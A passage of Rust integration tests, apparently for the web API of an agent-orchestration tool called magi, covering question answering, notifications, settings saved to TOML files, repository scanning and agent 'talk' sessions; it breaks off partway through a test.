13068 assert_eq!(
13069 fx.get("/api/health").await.json()["questions_needs_owner"],
13070 0,
13071 "waiting on the agent is not waiting on the owner"
13072 );
13073
13074 let mut q = store.get(&id).expect("get");
13078 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13079 .expect("reply");
13080 store.put(&mut q).expect("put");
13081 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13082 assert_eq!(
13083 fx.get("/api/health").await.json()["questions_needs_owner"],
13084 1,
13085 "the agent's reply is what should light the banner back up"
13086 );
13087 }
13088
13089 #[tokio::test]
13090 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13091 let fx = Fixture::start().await;
13092 let store = fx.questions();
13093
13094 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13095 let res = fx
13096 .post(
13097 &format!("/api/questions/{empty_id}/say"),
13098 Some(r#"{"body":" "}"#),
13099 )
13100 .await;
13101 assert_eq!(res.status, 400, "{}", res.body);
13102
13103 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13104 let mut answered = store.get(&answered_id).expect("get");
13105 answered
13106 .answer(Answer::Choice("SQLite".to_owned()))
13107 .expect("answer");
13108 store.put(&mut answered).expect("put");
13109 let res = fx
13110 .post(
13111 &format!("/api/questions/{answered_id}/say"),
13112 Some(r#"{"body":"still there?"}"#),
13113 )
13114 .await;
13115 assert_eq!(res.status, 409, "{}", res.body);
13116
13117 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13118 let mut abandoned = store.get(&abandoned_id).expect("get");
13119 abandoned.abandon("timed out");
13120 store.put(&mut abandoned).expect("put");
13121 let res = fx
13122 .post(
13123 &format!("/api/questions/{abandoned_id}/say"),
13124 Some(r#"{"body":"still there?"}"#),
13125 )
13126 .await;
13127 assert_eq!(res.status, 409, "{}", res.body);
13128 }
13129
13130 #[tokio::test]
13131 async fn an_answer_the_question_does_not_offer_is_refused() {
13132 let fx = Fixture::start().await;
13133 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13134 let path = format!("/api/questions/{id}/answer");
13135
13136 for body in [
13137 r#"{"choice":"Postgres"}"#,
13138 r#"{"text":"whatever you think"}"#,
13139 r#"{"choice":"Redis","text":"both"}"#,
13140 r#"{}"#,
13141 ] {
13142 let res = fx.post(&path, Some(body)).await;
13143 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13144 assert!(res.json()["error"].is_string(), "{}", res.body);
13145 }
13146 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13148 }
13149
13150 #[tokio::test]
13151 async fn a_free_text_question_takes_text_and_not_a_choice() {
13152 let fx = Fixture::start().await;
13153 let id = ask(&fx, "What should the flag be called?", &[]);
13154 fx.questions().beat(&id, ask::WaiterKind::Asker);
13155 let path = format!("/api/questions/{id}/answer");
13156
13157 assert_eq!(
13158 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13159 400
13160 );
13161 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13162 assert_eq!(res.status, 200, "{}", res.body);
13163 assert_eq!(res.json()["answer"]["text"], "--json");
13164 }
13165
13166 #[tokio::test]
13167 async fn an_unknown_question_is_a_json_404() {
13168 let fx = Fixture::start().await;
13169 let res = fx
13170 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13171 .await;
13172 assert_eq!(res.status, 404, "{}", res.body);
13173 assert!(res.json()["error"].is_string());
13174 }
13175
13176 #[tokio::test]
13177 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13178 let fx = Fixture::start().await;
13179 let questions = Questions::at(fx.home.path().join("questions"));
13180 let store = Notices::at(fx.home.path().join("notifications"));
13181 let mut q = ask::Question::new(
13182 "t1".into(),
13183 "conduct".into(),
13184 "conductor".into(),
13185 "Continue?".into(),
13186 String::new(),
13187 Vec::new(),
13188 );
13189 questions.put(&mut q).unwrap();
13190 let mut n = Notice::warn("task:t1", "Task t1 is held.");
13191 n.covered_by = Some(q.id.clone());
13192 let n = store.raise(n).unwrap();
13193 let listed = fx.get("/api/notifications").await.json();
13194 assert_eq!(listed["items"][0]["answerable_question"], q.id);
13195 questions
13196 .update(&q.id, |q| {
13197 q.abandon("run gone");
13198 Ok(())
13199 })
13200 .unwrap();
13201 let listed = fx.get("/api/notifications").await.json();
13202 assert!(listed["items"][0]["answerable_question"].is_null());
13203 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13204 assert!(
13205 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13206 .unwrap()
13207 .contains("answerable_question")
13208 );
13209 }
13210
13211 #[tokio::test]
13212 async fn notifications_list_read_dismiss_and_health_agree() {
13213 let fx = Fixture::start().await;
13214 let store = Notices::at(fx.home.path().join("notifications"));
13215 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13216 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13217
13218 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13219 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13220
13221 store
13222 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13223 .unwrap();
13224 let health = fx.get("/api/health").await.json();
13225 assert_eq!(health["notifications_unread"], 2);
13226 assert_ne!(
13227 health["notifications_rev"], rev0,
13228 "the badge must move live"
13229 );
13230
13231 let listed = fx.get("/api/notifications").await.json();
13232 assert_eq!(listed["unread"], 2);
13233 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
13234 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
13235
13236 let read = fx
13237 .post(&format!("/api/notifications/{}/read", a.id), None)
13238 .await;
13239 assert_eq!(read.status, 200, "{}", read.body);
13240 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
13241
13242 let gone = fx
13243 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
13244 .await;
13245 assert_eq!(gone.status, 200, "{}", gone.body);
13246 let listed = fx.get("/api/notifications").await.json();
13247 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13248 assert_eq!(listed["unread"], 0);
13249
13250 store.raise(Notice::info("x", "again")).unwrap();
13251 let all = fx.post("/api/notifications/read-all", None).await;
13252 assert_eq!(all.status, 200, "{}", all.body);
13253 assert_eq!(all.json()["marked"], 1);
13254 assert_eq!(
13255 fx.get("/api/health").await.json()["notifications_unread"],
13256 0
13257 );
13258
13259 let missing = fx.post("/api/notifications/nope/read", None).await;
13260 assert_eq!(missing.status, 404, "{}", missing.body);
13261 assert!(missing.json()["error"].is_string());
13262 }
13263
13264 #[tokio::test]
13271 async fn a_task_cannot_be_filed_over_the_phone_directly() {
13272 let f = Fixture::start().await;
13273
13274 let res = f
13275 .post(
13276 "/api/queue",
13277 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
13278 )
13279 .await;
13280
13281 assert_eq!(
13282 res.status, 405,
13283 "POST /api/queue must not be a route: {}",
13284 res.body
13285 );
13286 assert!(
13287 f.queue().list().is_empty(),
13288 "a task filed by a route that does not exist must not reach the disk"
13289 );
13290 assert_eq!(f.get("/api/queue").await.status, 200);
13293 }
13294
13295 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
13297 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
13298 .expect("checkout dir");
13299 }
13300
13301 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13303
13304 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13305 let tmp = TempDir::new().expect("tempdir");
13306 let repo = tmp.path().join("repo");
13307 std::fs::create_dir_all(&repo).expect("repo dir");
13308 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13309 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13310 if let Some(text) = machine_toml {
13311 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13312 std::fs::write(&machine, text).expect("machine toml");
13313 }
13314 (tmp, repo, machine)
13315 }
13316
13317 async fn settings_checkout(path: &FsPath, text: &str) {
13318 std::fs::create_dir_all(path).unwrap();
13319 std::fs::write(path.join("magi.toml"), text).unwrap();
13320 for args in [
13321 vec!["init", "-b", "main"],
13322 vec!["add", "magi.toml"],
13323 vec![
13324 "-c",
13325 "user.name=Test",
13326 "-c",
13327 "user.email=test@example.invalid",
13328 "commit",
13329 "-m",
13330 "fixture",
13331 ],
13332 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13333 vec![
13334 "symbolic-ref",
13335 "refs/remotes/origin/HEAD",
13336 "refs/remotes/origin/main",
13337 ],
13338 ] {
13339 crate::git::git(path, &args).await.unwrap();
13340 }
13341 }
13342
13343 #[tokio::test]
13344 async fn settings_context_handlers_validate_and_save_without_a_socket() {
13345 let (tmp, repo, machine) =
13346 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13347 let root = tmp.path().join("roots");
13348 let selected = root.join("host/owner/selected");
13349 settings_checkout(
13350 &selected,
13351 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13352 )
13353 .await;
13354 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13355 let before = std::fs::read(&machine).unwrap();
13356 let ui = Arc::new(
13357 Ui::new(
13358 Queue::at(tmp.path().join("queue")),
13359 Questions::at(tmp.path().join("questions")),
13360 Talks::at(tmp.path().join("talks")),
13361 tmp.path().join("runs"),
13362 tmp.path().to_path_buf(),
13363 repo.clone(),
13364 )
13365 .with_machine_config(Some(machine.clone())),
13366 );
13367 let query = || {
13368 Query(SettingsQuery {
13369 repo: Some(selected.clone()),
13370 })
13371 };
13372 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13373 assert!(v.error.is_none(), "{:?}", v.error);
13374 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13375 assert_eq!(conductor.source, "repo");
13376 assert_eq!(
13377 conductor.machine_value,
13378 Some(toml::Value::String("a".into()))
13379 );
13380 assert!(!conductor.editable);
13381 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13382 assert_eq!(
13383 judges.count.as_ref().unwrap().machine_value,
13384 Some(toml::Value::Integer(1))
13385 );
13386 assert!(
13387 !v.roles
13388 .iter()
13389 .find(|r| r.key == "reviewers")
13390 .unwrap()
13391 .editable
13392 );
13393 let unknown = || {
13394 Query(SettingsQuery {
13395 repo: Some(tmp.path().to_path_buf()),
13396 })
13397 };
13398 assert_eq!(
13399 settings_get(State(ui.clone()), unknown())
13400 .await
13401 .unwrap_err()
13402 .status,
13403 StatusCode::UNPROCESSABLE_ENTITY
13404 );
13405 let body = || {
13406 Ok(Json(RolesBody {
13407 revision: v.revision.clone(),
13408 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13409 counts: Default::default(),
13410 }))
13411 };
13412 assert_eq!(
13413 settings_put_roles(State(ui.clone()), unknown(), body())
13414 .await
13415 .unwrap_err()
13416 .status,
13417 StatusCode::UNPROCESSABLE_ENTITY
13418 );
13419 assert_eq!(std::fs::read(&machine).unwrap(), before);
13420 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13421 .await
13422 .unwrap();
13423 assert_eq!(
13424 saved.repo,
13425 selected.canonicalize().unwrap().display().to_string()
13426 );
13427 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13428 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13429 let fresh = root.join("host/owner/fresh");
13431 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13432 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13433 .await
13434 .unwrap();
13435 assert_eq!(fresh_view.repositories.len(), 3);
13436 }
13437
13438 #[tokio::test]
13439 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13440 let (tmp, repo, machine) = settings_dirs(
13441 "[roles]\nreviewers = [\"a\"]\n",
13442 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13443 );
13444 let root = tmp.path().join("roots");
13445 let selected = root.join("host/owner/selected");
13446 settings_checkout(
13447 &selected,
13448 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13449 )
13450 .await;
13451 let broken = root.join("host/owner/broken");
13452 settings_checkout(&broken, "[roles\nbroken").await;
13453 let machine_text = format!(
13454 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13455 toml::Value::String(root.display().to_string())
13456 );
13457 std::fs::write(&machine, &machine_text).unwrap();
13458 let originals: Vec<_> = [&repo, &selected, &broken]
13459 .iter()
13460 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13461 .collect();
13462 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13463 let default = f.get("/api/settings").await.json();
13464 assert_eq!(
13465 default["repo"],
13466 repo.canonicalize().unwrap().display().to_string()
13467 );
13468 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13469 let query = format!("?repo={}", selected.display());
13470 let res = f.get(&format!("/api/settings{query}")).await;
13471 assert_eq!(res.status, 200, "{}", res.body);
13472 let v = res.json();
13473 assert!(v["error"].is_null(), "{v}");
13474 assert_eq!(v["repositories"], default["repositories"]);
13475 let role = |key: &str| {
13476 v["roles"]
13477 .as_array()
13478 .unwrap()
13479 .iter()
13480 .find(|r| r["key"] == key)
13481 .unwrap()
13482 };
13483 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13484 assert_eq!(role("advisors")["source"], "repo");
13485 assert_eq!(role("advisors")["editable"], false);
13486 assert!(role("advisors")["machine_value"].is_null());
13487 assert_eq!(role("judges")["count"]["value"], 2);
13488 assert_eq!(role("judges")["count"]["machine_value"], 1);
13489 assert_eq!(role("judges")["count"]["source"], "repo");
13490 let source = role("judges")["count"]["source_path"].as_str().unwrap();
13491 assert!(
13492 source.contains("origin/main") && !source.contains("magi/config/"),
13493 "{source}"
13494 );
13495 assert_eq!(
13496 role("reviewers")["editable"],
13497 false,
13498 "default context outside roots must protect its declarations"
13499 );
13500 let body =
13501 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13502 let unknown = format!("?repo={}", tmp.path().display());
13503 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13504 assert_eq!(
13505 f.put(&format!("/api/settings/roles{unknown}"), &body)
13506 .await
13507 .status,
13508 422
13509 );
13510 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13511 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13512 .to_string();
13513 assert_eq!(
13514 f.put(&format!("/api/settings/roles{query}"), &refuse)
13515 .await
13516 .status,
13517 422
13518 );
13519 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13520 assert_eq!(saved.status, 200, "{}", saved.body);
13521 assert_eq!(saved.json()["repo"], v["repo"]);
13522 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13523 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13524 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13525 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13526 }
13527 let error = f
13528 .get(&format!("/api/settings?repo={}", broken.display()))
13529 .await;
13530 assert_eq!(error.status, 200);
13531 assert!(error.json()["error"]["message"].is_string());
13532 assert_eq!(error.json()["repositories"], default["repositories"]);
13533 }
13534
13535 #[tokio::test]
13536 async fn settings_get_reports_sources_and_the_advisors_fallback() {
13537 let (_tmp, repo, machine) =
13538 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13539 let f = Fixture::with_repo_and_machine(repo, machine).await;
13540 let res = f.get("/api/settings").await;
13541 assert_eq!(res.status, 200, "{}", res.body);
13542 let v = res.json();
13543 assert!(v["error"].is_null(), "{v}");
13544 let role = |k: &str| {
13545 v["roles"]
13546 .as_array()
13547 .and_then(|r| r.iter().find(|x| x["key"] == k))
13548 .cloned()
13549 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13550 };
13551 assert_eq!(role("judges")["source"], "machine");
13552 assert_eq!(role("judges")["editable"], true);
13553 assert_eq!(role("implementers")["source"], "default");
13554 let adv = role("advisors");
13555 assert_eq!(adv["fallback"], "judges");
13556 assert!(
13557 adv["seats"]
13558 .as_array()
13559 .is_some_and(|s| s.iter().all(|x| x == "b")),
13560 "{adv}"
13561 );
13562 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13563 assert_eq!(v["agents"][0]["source"], "repo");
13564 }
13565
13566 #[tokio::test]
13567 async fn settings_get_reports_a_config_that_does_not_parse() {
13568 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13569 let f = Fixture::with_repo_and_machine(repo, machine).await;
13570 let res = f.get("/api/settings").await;
13571 assert_eq!(res.status, 200, "{}", res.body);
13572 let v = res.json();
13573 assert!(v["error"]["message"].is_string(), "{v}");
13574 assert!(
13575 v["error"]["path"]
13576 .as_str()
13577 .is_some_and(|p| p.ends_with("magi.toml")),
13578 "{v}"
13579 );
13580 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13581 }
13582
13583 #[tokio::test]
13584 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13585 let (_tmp, repo, machine) = settings_dirs(
13586 SETTINGS_AGENTS,
13587 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
13588 );
13589 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13590 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13591 let rev = f.get("/api/settings").await.json()["revision"]
13592 .as_str()
13593 .expect("revision")
13594 .to_owned();
13595 let body = serde_json::json!({
13596 "revision": rev,
13597 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13598 })
13599 .to_string();
13600 let res = f.put("/api/settings/roles", &body).await;
13601 assert_eq!(res.status, 200, "{}", res.body);
13602 let text = std::fs::read_to_string(&machine).expect("machine");
13603 assert_eq!(
13604 text,
13605 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13606 );
13607 assert_eq!(
13608 std::fs::read(repo.join("magi.toml")).expect("read"),
13609 repo_before
13610 );
13611 let again = f.get("/api/settings").await.json();
13612 let judges = again["roles"]
13613 .as_array()
13614 .expect("roles")
13615 .iter()
13616 .find(|r| r["key"] == "judges")
13617 .expect("judges")
13618 .clone();
13619 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13620 let stale = f.put("/api/settings/roles", &body).await;
13622 assert_eq!(stale.status, 409, "{}", stale.body);
13623 }
13624
13625 #[tokio::test]
13626 async fn settings_counts_are_reported_and_saved() {
13627 let (_tmp, repo, machine) = settings_dirs(
13628 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13629 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13630 );
13631 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13632 let v = f.get("/api/settings").await.json();
13633 let count = |v: &serde_json::Value, k: &str| {
13634 v["roles"]
13635 .as_array()
13636 .and_then(|r| r.iter().find(|x| x["key"] == k))
13637 .map(|x| x["count"].clone())
13638 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13639 };
13640 let imp = count(&v, "implementers");
13641 assert_eq!(imp["value"], 2);
13642 assert_eq!(imp["source"], "machine");
13643 assert_eq!(imp["file_key"], "candidates");
13644 assert_eq!(imp["roster_len"], 2);
13645 assert_eq!(imp["backups"], 0);
13646 assert_eq!(count(&v, "judges")["source"], "default");
13647 assert_eq!(count(&v, "advisors")["min"], 0);
13648 assert_eq!(count(&v, "reviewers")["editable"], false);
13649 assert!(
13650 count(&v, "reviewers")["locked_reason"]
13651 .as_str()
13652 .is_some_and(|m| m.contains("graph.reviewers"))
13653 );
13654 assert!(count(&v, "fixer").is_null());
13655 let rev = v["revision"].as_str().expect("revision").to_owned();
13656 let body = serde_json::json!({
13657 "revision": rev,
13658 "roles": { "judges": ["b"] },
13659 "counts": { "implementers": 1, "advisors": 0 }
13660 })
13661 .to_string();
13662 let res = f.put("/api/settings/roles", &body).await;
13663 assert_eq!(res.status, 200, "{}", res.body);
13664 let text = std::fs::read_to_string(&machine).expect("machine");
13665 assert_eq!(
13666 text,
13667 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13668 );
13669 let after = f.get("/api/settings").await.json();
13670 assert_eq!(count(&after, "implementers")["value"], 1);
13671 assert_eq!(count(&after, "implementers")["backups"], 1);
13672 assert_eq!(count(&after, "advisors")["value"], 0);
13673 let before = std::fs::read_to_string(&machine).expect("machine");
13674 let rev = after["revision"].as_str().expect("revision").to_owned();
13675 for counts in [
13676 serde_json::json!({ "judges": 0 }),
13677 serde_json::json!({ "judges": "x" }),
13678 serde_json::json!({ "judges": 2.5 }),
13679 serde_json::json!({ "judges": -1 }),
13680 serde_json::json!({ "reviewers": 3 }),
13681 serde_json::json!({ "bogus": 3 }),
13682 ] {
13683 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13684 let res = f.put("/api/settings/roles", &body).await;
13685 assert_eq!(res.status, 422, "{counts}: {}", res.body);
13686 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13687 }
13688 }
13689
13690 #[tokio::test]
13691 async fn settings_put_refuses_without_touching_the_file() {
13692 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13693 let (_tmp, repo, machine) = settings_dirs(
13694 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13695 Some(machine_text),
13696 );
13697 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13698 let rev = f.get("/api/settings").await.json()["revision"]
13699 .as_str()
13700 .expect("revision")
13701 .to_owned();
13702 for roles in [
13703 serde_json::json!({ "judges": ["nope"] }),
13704 serde_json::json!({ "reviewers": ["b"] }),
13705 serde_json::json!({ "bogus": ["a"] }),
13706 ] {
13707 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13708 let res = f.put("/api/settings/roles", &body).await;
13709 assert_eq!(res.status, 422, "{roles}: {}", res.body);
13710 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13711 assert_eq!(
13712 std::fs::read_to_string(&machine).expect("machine"),
13713 machine_text
13714 );
13715 }
13716 }
13717
13718 #[tokio::test]
13719 async fn repos_list_returns_name_and_path_for_every_configured_root() {
13720 let tmp = TempDir::new().expect("tempdir");
13721 let repo = tmp.path().join("repo");
13722 std::fs::create_dir_all(&repo).expect("repo dir");
13723 let root = tmp.path().join("root");
13724 make_checkout(&root, "github.com", "yukimemi", "magi");
13725 std::fs::write(
13726 repo.join("magi.toml"),
13727 format!(
13728 "[repos]\nroots = [{:?}]\n",
13729 root.to_string_lossy().into_owned()
13730 ),
13731 )
13732 .expect("write magi.toml");
13733
13734 let f = Fixture::with_repo(repo).await;
13735 let res = f.get("/api/repos").await;
13736 assert_eq!(res.status, 200, "{}", res.body);
13737 let list = res.json();
13738 let repos = list.as_array().expect("an array");
13739 assert_eq!(repos.len(), 1);
13740 assert_eq!(repos[0]["name"], "yukimemi/magi");
13741 assert!(
13742 repos[0]["path"]
13743 .as_str()
13744 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13745 "{list}"
13746 );
13747 }
13748
13749 #[tokio::test]
13750 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13751 let tmp = TempDir::new().expect("tempdir");
13752 let repo = tmp.path().join("repo");
13753 std::fs::create_dir_all(&repo).expect("repo dir");
13754 let root = tmp.path().join("root");
13755 make_checkout(&root, "github.com", "yukimemi", "magi");
13756 std::fs::write(
13757 repo.join("magi.toml"),
13758 format!(
13759 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13760 root.to_string_lossy().into_owned()
13761 ),
13762 )
13763 .expect("write magi.toml");
13764
13765 let f = Fixture::with_repo(repo).await;
13766 let first = f.get("/api/repos").await;
13767 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13768
13769 make_checkout(&root, "github.com", "yukimemi", "rvpm");
13772 let second = f.get("/api/repos").await;
13773 assert_eq!(
13774 second.json().as_array().map(Vec::len),
13775 Some(1),
13776 "a fresh cache must not rescan inside the TTL"
13777 );
13778
13779 let refreshed = f.get("/api/repos?refresh=1").await;
13780 assert_eq!(
13781 refreshed.json().as_array().map(Vec::len),
13782 Some(2),
13783 "an explicit refresh must rescan even inside the TTL"
13784 );
13785 }
13786
13787 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13793
13794 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13798 let tmp = TempDir::new().expect("tempdir");
13799 let repo = tmp.path().join("repo");
13800 std::fs::create_dir_all(&repo).expect("repo dir");
13801 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13802 let f = Fixture::with_repo(repo.clone()).await;
13803 (tmp, repo, f)
13804 }
13805
13806 #[tokio::test]
13807 async fn posting_a_talk_with_remembered_choices_is_soft() {
13808 let (_tmp, _repo, f) = talk_fixture().await;
13809
13810 let good = f
13811 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13812 .await;
13813 assert_eq!(good.status, 201, "{}", good.body);
13814 assert_eq!(good.json()["persona"], "rei");
13815
13816 let stale = f
13818 .post(
13819 "/api/talks",
13820 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13821 )
13822 .await;
13823 assert_eq!(stale.status, 201, "{}", stale.body);
13824 let v = stale.json();
13825 assert_eq!(v["implementers"], 1);
13826 assert_ne!(v["persona"], "nobody");
13827 let typed = f
13828 .post(
13829 "/api/talks",
13830 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13831 )
13832 .await;
13833 assert_eq!(typed.status, 201, "{}", typed.body);
13834
13835 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13837 assert!(
13838 !strict.status.to_string().starts_with('2'),
13839 "{}",
13840 strict.body
13841 );
13842 }
13843
13844 #[tokio::test]
13845 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13846 let (_tmp, _repo, f) = talk_fixture().await;
13847
13848 let opened = f.post("/api/talks", None).await;
13851 assert_eq!(opened.status, 201, "{}", opened.body);
13852 let body = opened.json();
13853 assert_eq!(body["status"], "open");
13854 assert_eq!(
13855 body["turns"].as_array().unwrap().len(),
13856 0,
13857 "opening takes no agent turn: there is nothing yet to answer"
13858 );
13859
13860 let also_opened = f.post("/api/talks", Some("{}")).await;
13862 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13863
13864 let listed = f.get("/api/talks").await.json();
13865 assert_eq!(listed.as_array().unwrap().len(), 2);
13866 }
13867
13868 #[tokio::test]
13869 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13870 let tmp = TempDir::new().expect("tempdir");
13871 let repo = tmp.path().join("repo");
13872 std::fs::create_dir_all(&repo).expect("repo dir");
13873 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13874 std::fs::write(
13875 repo.join("magi.toml"),
13876 format!("{MOCK_AGENT_TOML}\n{second}"),
13877 )
13878 .expect("write magi.toml");
13879 let home = TempDir::new().expect("temp home");
13880 let talks = Talks::at(home.path().join("talks"));
13881 let ui = Arc::new(
13882 Ui::new(
13883 Queue::at(home.path().join("queue")),
13884 Questions::at(home.path().join("questions")),
13885 talks.clone(),
13886 home.path().join("runs"),
13887 home.path().to_path_buf(),
13888 repo.clone(),
13889 )
13890 .with_worktrees_root(home.path().join("wt")),
13891 );
13892 let cfg = config_for(&repo).await.expect("discover config");
13893 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13894 let id = talk.id.clone();
13895 let call = |agent: &str| {
13896 talk_agent(
13897 State(Arc::clone(&ui)),
13898 Path(id.clone()),
13899 Json(TalkAgent {
13900 agent: agent.to_owned(),
13901 }),
13902 )
13903 };
13904
13905 let unknown = call("nobody").await.expect_err("unknown agent");
13906 assert_eq!(
13907 unknown.status,
13908 StatusCode::BAD_REQUEST,
13909 "{}",
13910 unknown.message
13911 );
13912
13913 {
13914 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13917 let busy = call("second").await.expect_err("busy talk");
13918 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13919 assert!(
13920 busy.message.contains("a talk turn is running"),
13921 "{}",
13922 busy.message
13923 );
13924 drop(guard);
13925 }
13926 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13927
13928 let Json(view) = call("second").await.expect("switch");
13929 assert_eq!(view.talk.agent, "second");
13930 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13931 let saved = talks.get(&id).expect("reload");
13932 assert_eq!(saved.agent, "second");
13933 assert_eq!(saved.turns.len(), 1);
13934 assert!(!view.thinking);
13935 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13936 for agent in ["mock", "second"] {
13937 let Json(view) = call(agent).await.expect("immediate consecutive change");
13938 assert_eq!(view.talk.agent, agent);
13939 assert!(!view.thinking);
13940 assert!(!ui.is_thinking(&id));
13941 }
13942
